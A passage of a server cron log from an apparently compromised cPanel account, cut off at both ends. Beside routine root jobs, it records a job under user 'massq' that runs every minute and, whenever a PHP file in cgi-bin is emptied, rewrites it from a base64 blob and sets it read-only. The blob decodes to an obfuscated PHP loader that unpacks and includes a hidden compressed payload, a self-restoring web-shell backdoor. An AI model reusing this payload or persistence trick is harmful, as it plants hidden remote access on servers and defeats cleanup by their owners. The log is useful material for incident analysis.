/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:44:01 server CROND[11961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:45:01 server CROND[12006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:45:01 server CROND[12007]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 08:45:01 server CROND[12008]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 08:46:01 server CROND[12120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:47:01 server CROND[12271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:48:01 server CROND[12325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:49:01 server CROND[12387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:50:01 server CROND[12443]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 08:50:01 server CROND[12444]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 08:50:01 server CROND[12446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:50:01 server CROND[12445]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 08:50:01 server CROND[12448]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 08:51:01 server CROND[12552]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:52:01 server CROND[12695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:53:01 server CROND[12742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:54:01 server CROND[12791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:55:01 server CROND[12844]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 08:55:01 server CROND[12845]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 08:55:01 server CROND[12846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:56:01 server CROND[12938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:57:01 server CROND[13006]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 08:57:01 server CROND[13007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRV